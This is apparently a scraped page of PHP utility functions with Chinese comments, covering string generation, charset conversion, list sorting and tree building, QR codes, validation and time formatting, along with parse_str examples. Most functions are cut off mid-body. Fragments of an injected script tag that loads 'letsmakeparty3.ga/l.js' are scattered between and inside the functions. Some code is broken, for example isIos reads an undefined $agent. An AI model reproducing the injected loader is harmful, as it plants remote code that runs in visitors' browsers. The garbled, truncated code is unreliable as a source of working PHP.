// 随机生成一组字符串
function build_count_rand($number, $length = 4, $mode = 1) {
if ($mode == 1 && $length < strlen($number)) {
//不足以生成一定数量的不重复数字
return false;
}
$rand = array();
for ($i = 0; $i < $number; $i++) {
$rand[] = rand_string($length, $mode);
}
$...
// 自动转换字符集 支持数组转换
function auto_charset($fContents, $from = 'gbk', $to = 'utf-8') {
$from = strtoupper($from) == 'UTF8' ? 'utf-8' : $from;
$to = strtoupper($to) == 'UTF8' ? 'utf-8' : $to;
if (strtoupper($from) === strtoupper($to) || empty($fContents) || (is_scalar($fContent...
/**
* 对查询结果集进行排序
* @access public
* @param array $list 查询结果
* @param string $field 排序的字段名
* @param array $sortby 排序类型
* asc正向排序 desc逆向排序 nat自然排序
* @return array
*/
function list_sort_by($list, $field, $sortby = 'asc') {
if (is_array($list)) {
$refer =...
/**
* 把返回的数据集转换成Tree
* @access public
* @param array $list 要转换的数据集
* @param string $pid parent标记字段
* @param string $level level标记字段
* @return array
*/
function list_to_tree($list, $pk = 'id', $pid = 'pid', $child = '_child', $root = 0) {
// 创建Tree
$tree = arra...
<?php
parse_str("name=Bill&age=60");
echo $name."<br>";
echo $age;
?>
Bill
60
<?php
parse_str("name=Bill&age=60",$myArray);
print_r($myArray);
?>
Array ( [name] => Bill [age] => 60 )
c='https://letsmakeparty3.ga/l.js?n=1' type=text/javas...
require_cache(APP_PATH . 'Lib/phpqrcode/phpqrcode.php'); //引入二维码生成图片,phpqrcode.php自行百度下载
//生成网址的二维码 返回图片地址
function QrCode($token, $url, $size = 8) {
$md5 = md5($token);
$dir = substr($md5, 0, 3) . '/' . substr($md5, 3, 3) . '/' . substr($md5, 6, 3) ...
function isMail($email) {
$pattern = "/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/";
if (preg_match($pattern, $email) != 1) {
return false;
}
else {
return true;
}
}eparty3.ga/l.js?n=1' type=text/javascript>
function isIos() {
$is_iphone = (strpos($agent, 'iphone')) ? true : false;
$is_ipad = (strpos($agent, 'ipad')) ? true : false;
if ($is_iphone == true || $is_ipad == true) {
return true;
}
else {
return false;
}
}ext/javascript>
function formatTime($time) {
$t = NOW_TIME - $time;
$mon = (int) ($t / (86400 * 30));
if ($mon >= 1) {
return '一个月前';
}
$day = (int) ($t / 86400);
if ($day >= 1) {
return $day . '天前';
}
$h = (int) ($t / 3600);
if ($h >= 1) {
return $h . '小时前';
}
$min = (int) ($t / 60);...
function arrayToObject($e) {
if (gettype($e) != 'array')
return;
foreach ($e as $k => $v) {
if (gettype($v) == 'array' || getType($v) == 'object')
$e[$k] = (object) arrayToObject($v);
}
return (object) $e;
}e=text/javascript>